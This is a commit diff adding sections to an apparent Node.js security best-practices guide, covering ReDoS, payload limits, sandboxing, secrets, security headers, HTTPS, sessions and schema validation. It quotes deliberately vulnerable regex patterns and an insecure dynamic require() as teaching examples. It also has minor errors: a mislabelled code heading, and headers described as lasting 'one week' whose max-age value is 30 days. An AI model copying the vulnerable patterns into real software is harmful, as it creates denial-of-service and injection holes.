🔗 [Testing for NoSQL Injection](https://www.owasp.org/index.php/Testing_for_NoSQL_injection)
|
||||||
|
|
||||||
|
### What other bloggers say
|
||||||
|
|
||||||
|
Risks of NoSQL injection from the [OWASP wiki](https://www.owasp.org/index.php/Testing_for_NoSQL_injection)
|
||||||
|
|
||||||
|
> NoSQL injection attacks may execute in different areas of an application than traditional SQL injection. Where SQL injection would execute within the database engine, NoSQL variants may execute during within the application layer or the database layer, depending on the NoSQL API used and data model. Typically NoSQL injection attacks will execute where the attack string is parsed, evaluated, or concatenated into a NoSQL API call.
|
||||||
32
sections/security/regex.md
Normal file
32
sections/security/regex.md
Normal file
@ -0,0 +1,32 @@
|
|||||||
|
# Prevent malicious RegEx from overloading your single thread execution
|
||||||
|
|
||||||
|
### One Paragraph Explainer
|
||||||
|
|
||||||
|
The risk that is inherent with the use of Regular Expressions is the computational resources that require to parse text and match a given pattern. For the Node.js platform, where a single-thread event-loop is dominant, a CPU-bound operation like resolving a regular expression pattern will render the application unresponsive.
|
||||||
|
Avoid regex when possible or defer the task to a dedicated library like [validator.js](https://github.com/chriso/validator.js), or [safe-regex](https://github.com/substack/safe-regex) to check if the regex pattern is safe.
|
||||||
|
|
||||||
|
Some [OWASP examples](https://www.owasp.org/index.php/Regular_expression_Denial_of_Service_-_ReDoS) for vulnerable regex patterns:
|
||||||
|
* (a|aa)+
|
||||||
|
* ([a-zA-Z]+)*
|
||||||
|
|
||||||
|
<br/><br/>
|
||||||
|
|
||||||
|
### Code Example – Enabling SSL/TLS using the Express framework
|
||||||
|
|
||||||
|
```javascript
|
||||||
|
var saferegex = require('safe-regex');
|
||||||
|
var emailRegex = /^([a-zA-Z0-9])(([\-.]|[_]+)?([a-zA-Z0-9]+))*(@){1}[a-z0-9]+[.]{1}(([a-z]{2,3})|([a-z]{2,3}[.]{1}[a-z]{2,3}))$/;
|
||||||
|
|
||||||
|
// should output false because the emailRegex is vulnerable to redos attacks
|
||||||
|
console.log(saferegex(emailRegex));
|
||||||
|
|
||||||
|
// instead of the regex pattern, use validator:
|
||||||
|
var validator = require('validator');
|
||||||
|
console.log(validator.isEmail('liran.tal@gmail.com'));
|
||||||
|
```
|
||||||
|
|
||||||
|
<br/><br/>
|
||||||
|
### Book Quote: "A vulnerable Regular Expression is known as one which applies repetition"
|
||||||
|
From the book [Essential Node.js Security](https://leanpub.com/nodejssecurity) by Liran Tal
|
||||||
|
> Often, programmers will use RegEx to validate that an input received from a user conforms to an expected condition. A vulnerable Regular Expression is known as one which applies repetition to a repeating capturing group, and where the string to match is composed of a suffix of a valid matching pattern plus characters that aren't matching the capturing group.
|
||||||
|
|
||||||
60
sections/security/requestpayloadsizelimit.md
Normal file
60
sections/security/requestpayloadsizelimit.md
Normal file
@ -0,0 +1,60 @@
|
|||||||
|
# Limit payload size using a reverse-proxy or a middleware
|
||||||
|
|
||||||
|
### One Paragraph Explainer
|
||||||
|
|
||||||
|
Parsing request bodies, for example JSON-encoded payloads, is a performance-heavy operation, especially with larger requests.
|
||||||
|
When handling incoming requests in your web application, you should limit the size of their respective payloads. Incoming requests with
|
||||||
|
unlimited body/payload sizes can lead to your application performing badly or crashing due to a denial-of-service outage or other unwanted side-effects.
|
||||||
|
Many popular middleware-solutions for parsing request bodies, such as the already-included `body-parser` package for express, expose
|
||||||
|
options to limit the sizes of request payloads, making it easy for developers to implement this functionality. You can also
|
||||||
|
integrate a request body size limit in your reverse-proxy/web server software if supported. Below are examples for limiting request sizes using
|
||||||
|
`express` and/or `nginx`.
|
||||||
|
|
||||||
|
### Example code for `express`
|
||||||
|
|
||||||
|
```javascript
|
||||||
|
const express = require('express');
|
||||||
|
|
||||||
|
const app = express();
|
||||||
|
|
||||||
|
app.use(express.json({ limit: '300kb' })); // body-parser defaults to a body size limit of 100kb
|
||||||
|
|
||||||
|
// Request with json body
|
||||||
|
app.post('/json', (req, res) => {
|
||||||
|
|
||||||
|
// Check if request payload content-type matches json, because body-parser does not check for content types
|
||||||
|
if (!req.is('json')) {
|
||||||
|
return res.sendStatus(415); // -> Unsupported media type if request doesn't have JSON body
|
||||||
|
}
|
||||||
|
|
||||||
|
res.send('Hooray, it worked!');
|
||||||
|
});
|
||||||
|
|
||||||
|
app.listen(3000, () => console.log('Example app listening on port 3000!'));
|
||||||
|
```
|
||||||
|
|
||||||
|
🔗 [**Express docs for express.json()**](http://expressjs.com/en/4x/api.html#express.json)
|
||||||
|
|
||||||
|
### Example configuration for `nginx`
|
||||||
|
|
||||||
|
```
|
||||||
|
http {
|
||||||
|
...
|
||||||
|
# Limit the body size for ALL incoming requests to 1 MB
|
||||||
|
client_max_body_size 1m;
|
||||||
|
}
|
||||||
|
|
||||||
|
server {
|
||||||
|
...
|
||||||
|
# Limit the body size for incoming requests to this specific server block to 1 MB
|
||||||
|
client_max_body_size 1m;
|
||||||
|
}
|
||||||
|
|
||||||
|
location /upload {
|
||||||
|
...
|
||||||
|
# Limit the body size for incoming requests to this route to 1 MB
|
||||||
|
client_max_body_size 1m;
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
🔗 [**Nginx docs for client_max_body_size**](http://nginx.org/en/docs/http/ngx_http_core_module.html#client_max_body_size)
|
||||||
13
sections/security/safemoduleloading.md
Normal file
13
sections/security/safemoduleloading.md
Normal file
@ -0,0 +1,13 @@
|
|||||||
|
# Avoid module loading using a variable
|
||||||
|
|
||||||
|
### One Paragraph Explainer
|
||||||
|
Avoid requiring/importing another file with a path that was given as parameter due to the concern that it could have originated from user input. This rule can be extended for accessing files in general (i.e. `fs.readFile()`) or other sensitive resource access with dynamic variables originating from user input.
|
||||||
|
|
||||||
|
### Code example
|
||||||
|
```javascript
|
||||||
|
// insecure, as helperPath variable may have been modified by user input
|
||||||
|
const uploadHelpers = require(helperPath);
|
||||||
|
|
||||||
|
// secure
|
||||||
|
const uploadHelpers = require('./helpers/upload');
|
||||||
|
```
|
||||||
27
sections/security/sandbox.md
Normal file
27
sections/security/sandbox.md
Normal file
@ -0,0 +1,27 @@
|
|||||||
|
# Run unsafe code in a sandbox
|
||||||
|
|
||||||
|
### One Paragraph Explainer
|
||||||
|
As a rule of thumb, one should run his own JS files only. Theories aside, real-world scenarios demand to execute JS files that are being passed dynamically at run-time. For example, consider a dynamic framework like WebPack that accepts custom loaders and execute those dynamically during build time. In the existence of some malicious plugin we wish to minimize the damage and maybe even let the flow terminate successfully - this requires to run the plugins in a sandbox environment that is fully isolated in terms of resources, crashes and the information we share with it. Three main options can help in achieving this isolation: (1) a dedicated child process - this provides a quick information isolation but demand to tame the child process, limit its execution time and recover from errors (2) a cloud serverless framework ticks all the sandbox requirements but deployment and invoking a FaaS function dynamically is not a walk in the part (3) some NPM libraries, like (https://www.npmjs.com/package/sandbox)[/npm/sandbox] and (https://www.npmjs.com/package/vm2)[/npm/vm2] allow execution of isolated code in 1 single line of code. Though this latter option wins in simplicity it provides a limited protection
|
||||||
|
|
||||||
|
### Code example - Using Sandbox library to run code in isolation
|
||||||
|
```javascript
|
||||||
|
const Sandbox = require("sandbox")
|
||||||
|
, s = new Sandbox()
|
||||||
|
|
||||||
|
s.run( "lol)hai", function( output ) {
|
||||||
|
console.log(output);
|
||||||
|
//output='Synatx error'
|
||||||
|
});
|
||||||
|
|
||||||
|
// Example 4 - Restricted code
|
||||||
|
s.run( "process.platform", function( output ) {
|
||||||
|
console.log(output);
|
||||||
|
//output=Null
|
||||||
|
})
|
||||||
|
|
||||||
|
// Example 5 - Infinite loop
|
||||||
|
s.run( "while (true) {}", function( output ) {
|
||||||
|
console.log(output);
|
||||||
|
//output='Timeout'
|
||||||
|
})
|
||||||
|
```
|
||||||
31
sections/security/secretmanagement.md
Normal file
31
sections/security/secretmanagement.md
Normal file
@ -0,0 +1,31 @@
|
|||||||
|
# Extract secrets from config files or use NPM package that encrypts them
|
||||||
|
|
||||||
|
### One Paragraph Explainer
|
||||||
|
The most common and secure way to provide a Node.js application access to keys and secrets is to store them using environment variables on the system where it is being run. Once set, these can be accessed from the global `process.env` object.
|
||||||
|
A litmus test for whether an app has all config correctly factored out of the code is whether the codebase could be made open source at any moment, without compromising any credentials.
|
||||||
|
|
||||||
|
For rare situations where secrets do need to be stored inside source control, using a package such as [cryptr](https://www.npmjs.com/package/cryptr) allows these to be stored in an encrypted form as opposed to in plain text.
|
||||||
|
|
||||||
|
There are a variety of tools available which use git commit to audit commits and commit messages for accidental additions of secrets, such as [git-secrets](https://github.com/awslabs/git-secrets).
|
||||||
|
|
||||||
|
### Code example
|
||||||
|
Accessing an API key stored in an environment variable:
|
||||||
|
```javascript
|
||||||
|
const azure = require('azure');
|
||||||
|
|
||||||
|
const apiKey = process.env.AZURE_STORAGE_KEY;
|
||||||
|
const blobService = azure.createBlobService(apiKey);
|
||||||
|
```
|
||||||
|
|
||||||
|
Using `cryptr` to store an encrypted secret:
|
||||||
|
```javascript
|
||||||
|
const Cryptr = require('cryptr');
|
||||||
|
const cryptr = new Cryptr(process.env.SECRET);
|
||||||
|
|
||||||
|
let accessToken = cryptr.decrypt('e74d7c0de21e72aaffc8f2eef2bdb7c1');
|
||||||
|
|
||||||
|
console.log(accessToken); // outputs decrypted string which was not stored in source control
|
||||||
|
```
|
||||||
|
|
||||||
|
### What other bloggers say
|
||||||
|
> Env vars are easy to change between deploys without changing any code; unlike config files, there is little chance of them being checked into the code repo accidentally; and unlike custom config files, or other config mechanisms such as Java System Properties, they are a language- and OS-agnostic standard. [From: The 12 factor app](https://12factor.net/config)
|
||||||
172
sections/security/secureheaders.md
Normal file
172
sections/security/secureheaders.md
Normal file
@ -0,0 +1,172 @@
|
|||||||
|
# Using security-related headers to secure your application against common attacks
|
||||||
|
|
||||||
|
<br/><br/>
|
||||||
|
|
||||||
|
|
||||||
|
### One Paragraph Explainer
|
||||||
|
|
||||||
|
There are security-related headers used to secure your application further. The most important headers are listed below. You can also visit the sites linked at the bottom of this page to get more information on this topic. You can easily set these headers using the [Helmet](https://www.npmjs.com/package/helmet) module for express ([Helmet for koa](https://www.npmjs.com/package/koa-helmet)).
|
||||||
|
|
||||||
|
<br/><br/>
|
||||||
|
|
||||||
|
### Table of Contents
|
||||||
|
- [HTTP Strict Transport Security (HSTS)](#http-strict-transport-security-hsts)
|
||||||
|
- [Public Key Pinning for HTTP (HPKP)](#public-key-pinning-for-http-hpkp)
|
||||||
|
- [X-Frame-Options](#x-frame-options)
|
||||||
|
- [X-XSS-Protection](#x-xss-protection)
|
||||||
|
- [X-Content-Type-Options](#x-content-type-options)
|
||||||
|
- [Referrer-Policy](#referrer-policy)
|
||||||
|
- [Expect-CT](#expect-ct)
|
||||||
|
- [Content-Security-Policy](#content-security-policy)
|
||||||
|
- [Additional Resource](#additional-resources)
|
||||||
|
|
||||||
|
<br/><br/>
|
||||||
|
|
||||||
|
### HTTP Strict Transport Security (HSTS)
|
||||||
|
|
||||||
|
HTTP Strict Transport Security (HSTS) is a web security policy mechanism to protect websites against [protocol downgrade attacks](https://en.wikipedia.org/wiki/Downgrade_attack) and [cookie hijacking](https://www.owasp.org/index.php/Session_hijacking_attack). It allows web servers to declare that web browsers (or other complying user agents) should only interact with it using __secure HTTPS connections__, and __never__ via the insecure HTTP protocol. The HSTS policy is implemented by using the `Strict-Transport-Security` header over an existing HTTPS connection.
|
||||||
|
|
||||||
|
The Strict-Transport-Security Header accepts a `max-age` value in seconds, to notify the browser how long it should access the site using HTTPS only, and an `includeSubDomains` value to apply the Strict Transport Security rule to all of the site's subdomains.
|
||||||
|
|
||||||
|
Header Example - HSTS Policy enabled for one week, include subdomains
|
||||||
|
```
|
||||||
|
Strict-Transport-Security: max-age=2592000; includeSubDomains
|
||||||
|
```
|
||||||
|
|
||||||
|
🔗 [Read on OWASP Secure Headers Project](https://www.owasp.org/index.php/OWASP_Secure_Headers_Project#hsts)
|
||||||
|
|
||||||
|
🔗 [Read on MDN web docs](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Strict-Transport-Security)
|
||||||
|
|
||||||
|
<br/><br/>
|
||||||
|
|
||||||
|
### Public Key Pinning for HTTP (HPKP)
|
||||||
|
|
||||||
|
HTTP Public Key Pinning (HPKP) is a security mechanism allowing HTTPS websites to resist impersonation by attackers using mis-issued or otherwise fraudulent SSL/TLS certificates.
|
||||||
|
|
||||||
|
The HTTPS web server serves a list of public key hashes, and on subsequent connections clients expect that server to use one or more of those public keys in its certificate chain. Using this feature carefully, you can greatly reduce the risk of man-in-the-middle (MITM) attacks and other false authentication problems for your application's users without incurring undue risk.
|
||||||
|
|
||||||
|
Before implementing you should have a look at the `Expect-CT` header first, due to its advanced flexibility for recovery from misconfiguration and other [advantages](https://groups.google.com/a/chromium.org/forum/m/#!msg/blink-dev/he9tr7p3rZ8/eNMwKPmUBAAJ).
|
||||||
|
|
||||||
|
The Public-Key-Pins header accepts 4 values, a `pin-sha256` value for adding the certificate public key, hashed using the SHA256 algorithm, which can be added multiple times for different public keys, a `max-age` value to tell the browser how long it should apply the rule, an `includeSubDomains` value to apply this rule to all subdomains and a `report-uri` value to report pin validation failures to the given URL.
|
||||||
|
|
||||||
|
Header Example - HPKP Policy enabled for one week, include subdomains , report failures to an example URL and allow two public keys
|
||||||
|
```
|
||||||
|
Public-Key-Pins: pin-sha256="d6qzRu9zOECb90Uez27xWltNsj0e1Md7GkYYkVoZWmM="; pin-sha256="E9CZ9INDbd+2eRQozYqqbQ2yXLVKB9+xcprMF+44U1g="; report-uri="http://example.com/pkp-report"; max-age=2592000; includeSubDomains
|
||||||
|
```
|
||||||
|
|
||||||
|
🔗 [Read on OWASP Secure Headers Project](https://www.owasp.org/index.php/OWASP_Secure_Headers_Project#hpkp)
|
||||||
|
|
||||||
|
🔗 [Read on MDN web docs](https://developer.mozilla.org/en-US/docs/Web/HTTP/Public_Key_Pinning)
|
||||||
|
|
||||||
|
<br/><br/>
|
||||||
|
|
||||||
|
### X-Frame-Options
|
||||||
|
|
||||||
|
The X-Frame-Options header secures the application against [Clickjacking](https://www.owasp.org/index.php/Clickjacking) attacks by declaring a policy whether your application may be embedded on other (external) pages using frames.
|
||||||
|
|
||||||
|
X-Frame-Options allows 3 parameters, a `deny` parameter to disallow embedding the resource in general, a `sameorigin` parameter to allow embedding the resource on the same host/origin and an `allow-from` parameter to specify a host where embedding of the resource is allowed.
|
||||||
|
|
||||||
|
Header Example - Deny embedding of your application
|
||||||
|
```
|
||||||
|
X-Frame-Options: deny
|
||||||
|
```
|
||||||
|
|
||||||
|
🔗 [Read on OWASP Secure Headers Project](https://www.owasp.org/index.php/OWASP_Secure_Headers_Project#xfo)
|
||||||
|
|
||||||
|
🔗 [Read on MDN web docs](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options)
|
||||||
|
|
||||||
|
<br/><br/>
|
||||||
|
|
||||||
|
### X-XSS-Protection
|
||||||
|
|
||||||
|
This header enables the [Cross-site scripting](https://www.owasp.org/index.php/Cross-site_Scripting_(XSS)) filter in your browser.
|
||||||
|
|
||||||
|
It accepts 4 parameters, `0` for disabling the filter, `1` for enabling the filter and enable automatic sanitization of the page, `mode=block` to enable the filter and prevent the page from rendering if a XSS attack is detected (this parameter has to be added to `1` using a semicolon, and `report=<domainToReport>` to report the violation (this parameter has to be added to `1`).
|
||||||
|
|
||||||
|
Header Example - Enable XSS Protection and report violations to example URL
|
||||||
|
```
|
||||||
|
X-XSS-Protection: 1; report=http://example.com/xss-report
|
||||||
|
```
|
||||||
|
|
||||||
|
🔗 [Read on OWASP Secure Headers Project](https://www.owasp.org/index.php/OWASP_Secure_Headers_Project#xxxsp)
|
||||||
|
|
||||||
|
🔗 [Read on OWASP Secure Headers Project](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-XSS-Protection)
|
||||||
|
|
||||||
|
<br/><br/>
|
||||||
|
|
||||||
|
### X-Content-Type-Options
|
||||||
|
|
||||||
|
Setting this header will prevent the browser from [interpreting files as something else](https://en.wikipedia.org/wiki/Content_sniffing) than declared by the content type in the HTTP headers.
|
||||||
|
|
||||||
|
Header Example - Disallow Content sniffing
|
||||||
|
```
|
||||||
|
X-Content-Type-Options: nosniff
|
||||||
|
```
|
||||||
|
|
||||||
|
🔗 [Read on OWASP Secure Headers Project](https://www.owasp.org/index.php/OWASP_Secure_Headers_Project#xcto)
|
||||||
|
|
||||||
|
🔗 [Read on MDN web docs](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Content-Type-Options)
|
||||||
|
|
||||||
|
|
||||||
|
<br/><br/>
|
||||||
|
|
||||||
|
### Referrer-Policy
|
||||||
|
|
||||||
|
The Referrer-Policy HTTP header governs which referrer information, sent in the `Referer` header, should be included with requests made.
|
||||||
|
|
||||||
|
It allows 8 parameters, a `no-referrer` parameter to remove the `Referer` header completely, a `no-referrer-when-downgrade` to remove the `Referer` header when downgraded for example HTTPS -> HTTP, an `origin` parameter to send the host origin (the host root) as referrer __only__, an `origin-when-cross-origin` parameter to send a full origin URL when staying on the same origin and send the host origin __only__ when otherwise, a `same-origin` parameter to send referrer information only for same-site origins and omit on cross-origin requests, a `strict-origin` parameter to keep the `Referer` header only on the same security-level (HTTPS -> HTTPS) and omit it on a less secure destination, a `strict-origin-when-cross-origin` parameter to send the full referrer URL to a same-origin destination, the origin __only__ to a cross-origin destination on the __same__ security level and no referrer on a less secure cross-origin destination, and an `unsafe-url` parameter to send the full referrer to same-origin or cross-origin destinations.
|
||||||
|
|
||||||
|
Header Example - Remove the `Referer` header completely
|
||||||
|
```
|
||||||
|
Referrer-Policy: no-referrer
|
||||||
|
```
|
||||||
|
|
||||||
|
🔗 [Read on OWASP Secure Headers Project](https://www.owasp.org/index.php/OWASP_Secure_Headers_Project#rp)
|
||||||
|
|
||||||
|
🔗 [Read on MDN web docs](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Referrer-Policy)
|
||||||
|
|
||||||
|
|
||||||
|
<br/><br/>
|
||||||
|
|
||||||
|
### Expect-CT
|
||||||
|
|
||||||
|
The Expect-CT header is used by a server to indicate that browsers should evaluate connections to the host emitting the header for [Certificate Transparency](https://www.certificate-transparency.org/) compliance.
|
||||||
|
|
||||||
|
This header accepts 3 parameters, a `report-uri` parameter to supply a URL to report Expect-CT failures to, a `enforce` parameter to signal the browser that Certificate Transparency should be enforced (rather than only reported) and refuse future connections violating the Certificate Transparency, and a `max-age` parameter to specify the number of seconds the browser regard the host as a known Expect-CT host.
|
||||||
|
|
||||||
|
Header Example - Enforce Certificate Transparency for a week and report to example URL
|
||||||
|
```
|
||||||
|
Expect-CT: max-age=2592000, enforce, report-uri="https://example.com/report-cert-transparency"
|
||||||
|
```
|
||||||
|
|
||||||
|
🔗 [Read on OWASP Secure Headers Project](https://www.owasp.org/index.php/OWASP_Secure_Headers_Project#ect)
|
||||||
|
|
||||||
|
|
||||||
|
<br/><br/>
|
||||||
|
|
||||||
|
### Content-Security-Policy
|
||||||
|
|
||||||
|
The HTTP Content-Security-Policy response header allows to control resources the user agent is allowed to load for a given page. With a few exceptions, policies mostly involve specifying server origins and script endpoints. This helps guard against [cross-site scripting attacks (XSS)](https://www.owasp.org/index.php/Cross-site_Scripting_(XSS)).
|
||||||
|
|
||||||
|
Header Example - Enable CSP and only execute scripts from the same origin
|
||||||
|
```
|
||||||
|
Content-Security-Policy: script-src 'self'
|
||||||
|
```
|
||||||
|
|
||||||
|
There are many policies enabled with Content-Security-Policy that can be found on the sites linked below.
|
||||||
|
|
||||||
|
🔗 [Read on OWASP Secure Headers Project](https://www.owasp.org/index.php/OWASP_Secure_Headers_Project#csp)
|
||||||
|
|
||||||
|
🔗 [Read on MDN web docs](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy)
|
||||||
|
|
||||||
|
|
||||||
|
<br/><br/>
|
||||||
|
|
||||||
|
### Additional resources
|
||||||
|
|
||||||
|
🔗 [OWASP Secure Headers Project](https://www.owasp.org/index.php/OWASP_Secure_Headers_Project#tab=Headers)
|
||||||
|
|
||||||
|
🔗 [Node.js Security Checklist (RisingStack)](https://blog.risingstack.com/node-js-security-checklist/)
|
||||||
|
|
||||||
|
|
||||||
|
<br/><br/>
|
||||||
28
sections/security/secureserver.md
Normal file
28
sections/security/secureserver.md
Normal file
@ -0,0 +1,28 @@
|
|||||||
|
# Using HTTPS to encrypt the client-server connection
|
||||||
|
|
||||||
|
<br/><br/>
|
||||||
|
|
||||||
|
|
||||||
|
### One Paragraph Explainer
|
||||||
|
|
||||||
|
Using services like the [Let'sEncrypt](https://letsencrypt.org/) certificate authority providing __free__ ssl/tls certificates, you can easily obtain a certificate to secure your application. Node.js frameworks like [Express](http://expressjs.com/) (based on the core `https` module) support ssl/tls based servers easily, so the configuration can be done in a few lines of additional code.
|
||||||
|
|
||||||
|
You can also configure ssl/tls on your reverse proxy pointing to your application for example using [nginx](http://nginx.org/en/docs/http/configuring_https_servers.html) or HAProxy.
|
||||||
|
|
||||||
|
<br/><br/>
|
||||||
|
|
||||||
|
### Code Example – Enabling SSL/TLS using the Express framework
|
||||||
|
|
||||||
|
```javascript
|
||||||
|
const express = require('express');
|
||||||
|
const https = require('https');
|
||||||
|
const app = express();
|
||||||
|
const options = {
|
||||||
|
// The path should be changed accordingly to your setup
|
||||||
|
cert: fs.readFileSync('./sslcert/fullchain.pem'),
|
||||||
|
key: fs.readFileSync('./sslcert/privkey.pem')
|
||||||
|
};
|
||||||
|
https.createServer(options, app).listen(443);
|
||||||
|
```
|
||||||
|
|
||||||
|
<br/><br/>
|
||||||
39
sections/security/sessions.md
Normal file
39
sections/security/sessions.md
Normal file
@ -0,0 +1,39 @@
|
|||||||
|
# Modify the default session middleware settings
|
||||||
|
|
||||||
|
<br/><br/>
|
||||||
|
|
||||||
|
|
||||||
|
### One Paragraph Explainer
|
||||||
|
|
||||||
|
Many popular session middlewares do not apply best practice/secure cookie settings out of the box. Tweaking these settings from the defaults offers more protection for both the user and the application, by reducing the threat of attacks such as session hijacking and session identification.
|
||||||
|
|
||||||
|
The most common setting left to default is the session `name` - in `express-session` this is `connect.sid`. An attacker can use this information to identify the underlying framework of the web application as well as module specific vulnerabilities. Changing this value to something other than the default will make it harder to determine what session mechanism is being used.
|
||||||
|
|
||||||
|
Also in `express-session`, the option `cookie.secure` is set to false as the default value. Changing this to true will restrict transport of the cookie to https only which provides safety from man in the middle type attacks
|
||||||
|
|
||||||
|
<br/><br/>
|
||||||
|
|
||||||
|
|
||||||
|
### Code example: Setting secure cookie settings
|
||||||
|
|
||||||
|
```javascript
|
||||||
|
// using the express session middleware
|
||||||
|
app.use(session({
|
||||||
|
secret: 'youruniquesecret', // secret string used in the signing of the session ID that is stored in the cookie
|
||||||
|
name: 'youruniquename', // set a unique name to remove the default connect.sid
|
||||||
|
cookie: {
|
||||||
|
httpOnly: true, // minimize risk of XSS attacks by restricting the client from reading the cookie
|
||||||
|
secure: true, // only send cookie over https
|
||||||
|
maxAge: 60000*60*24 // set cookie expiry length in ms
|
||||||
|
}
|
||||||
|
}));
|
||||||
|
```
|
||||||
|
|
||||||
|
<br/><br/>
|
||||||
|
|
||||||
|
|
||||||
|
### What Other Bloggers Say
|
||||||
|
From the [NodeSource blog](http://nodesource.com/blog/nine-security-tips-to-keep-express-from-getting-pwned/):
|
||||||
|
> ...Express has default cookie settings that aren’t highly secure. They can be manually tightened to enhance security - for both an application and its user.*
|
||||||
|
|
||||||
|
<br/><br/>
|
||||||
64
sections/security/validation.md
Normal file
64
sections/security/validation.md
Normal file
@ -0,0 +1,64 @@
|
|||||||
|
# Validate the incoming JSON schemas
|
||||||
|
|
||||||
|
### One Paragraph Explainer
|
||||||
|
Validation is about being very explicit on what payload our app is willing to accept and failing fast should the input deviates from the expectations. This minimizes an attackers surface who can no longer try out payloads with a different structure, values and length. Practically it prevents attacks like DDOS (code is unlikely to fail when the input is well defined) and Insecure Deserialization (JSON contain no surprises ). Though validation can be coded or rely upon classes and types (TS, ES6 classes) the community seems to increasingly like JSON-based schemas as these allow declaring complex rules without coding and share the expectations with the frontend. JSON-schema is an emerging standard that is supported by many NPM libraries and tools (e.g. [jsonschema](https://www.npmjs.com/package/jsonschema), [POSTMAN](http://blog.getpostman.com/2017/07/28/api-testing-tips-from-a-postman-professional/)), [JOI](https://www.npmjs.com/package/joi) is also highly popular with sweet syntax. Typically JSON syntax can't cover all validation scenario and custom code or pre-baked validation frameworks like [validator.js](https://github.com/chriso/validator.js/) come in handy. Regardless of the chosen syntax, ensure to run the validation as early as possible - For example, by using Express middleware that validates the request body before the request is passed to the route handler
|
||||||
|
|
||||||
|
|
||||||
|
### Example - JSON-Schema validation rules
|
||||||
|
``` javascript
|
||||||
|
{
|
||||||
|
"$schema": "http://json-schema.org/draft-06/schema#",
|
||||||
|
"title": "Product",
|
||||||
|
"description": "A product from Acme's catalog",
|
||||||
|
"type": "object",
|
||||||
|
"properties": {
|
||||||
|
"name": {
|
||||||
|
"description": "Name of the product",
|
||||||
|
"type": "string"
|
||||||
|
},
|
||||||
|
"price": {
|
||||||
|
"type": "number",
|
||||||
|
"exclusiveMinimum": 0
|
||||||
|
}
|
||||||
|
},
|
||||||
|
"required": ["id", "name", "price"]
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
|
||||||
|
### Example - Validating an entity using JSON-Schema
|
||||||
|
``` javascript
|
||||||
|
const JSONValidator = require("jsonschema").Validator;
|
||||||
|
|
||||||
|
class Product {
|
||||||
|
|
||||||
|
validate() {
|
||||||
|
var v = new JSONValidator();
|
||||||
|
|
||||||
|
return v.validate(this, schema);
|
||||||
|
}
|
||||||
|
|
||||||
|
static get schema() {
|
||||||
|
//define JSON-Schema, see example above
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
### Example - Usage of middleware validator
|
||||||
|
``` javascript
|
||||||
|
// The validator is a generic middleware that gets the entity it should validate and takes care to return
|
||||||
|
// HTTP status 400 (Bad Request) should the body payload validation fail
|
||||||
|
router.post("/" , **validator(Product.validate)**, async (req, res, next) => {
|
||||||
|
// route handling code goes here
|
||||||
|
});
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
### What other bloggers say
|
||||||
|
From the blog [Nemeth Gergley](https://nemethgergely.com/nodejs-security-overview/):
|
||||||
|
> Validating user input is one of the most important things to do when it comes to the security of your application. Failing to do it correctly can open up your application and users to a wide range of attacks, including command injection, SQL injection or stored cross-site scripting.<br/>
|
||||||
|
|
||||||
|
To validate user input, one of the best libraries you can pick is joi. Joi is an object schema description language and validator for JavaScript objects.
|
||||||
Reference in New Issue
Block a user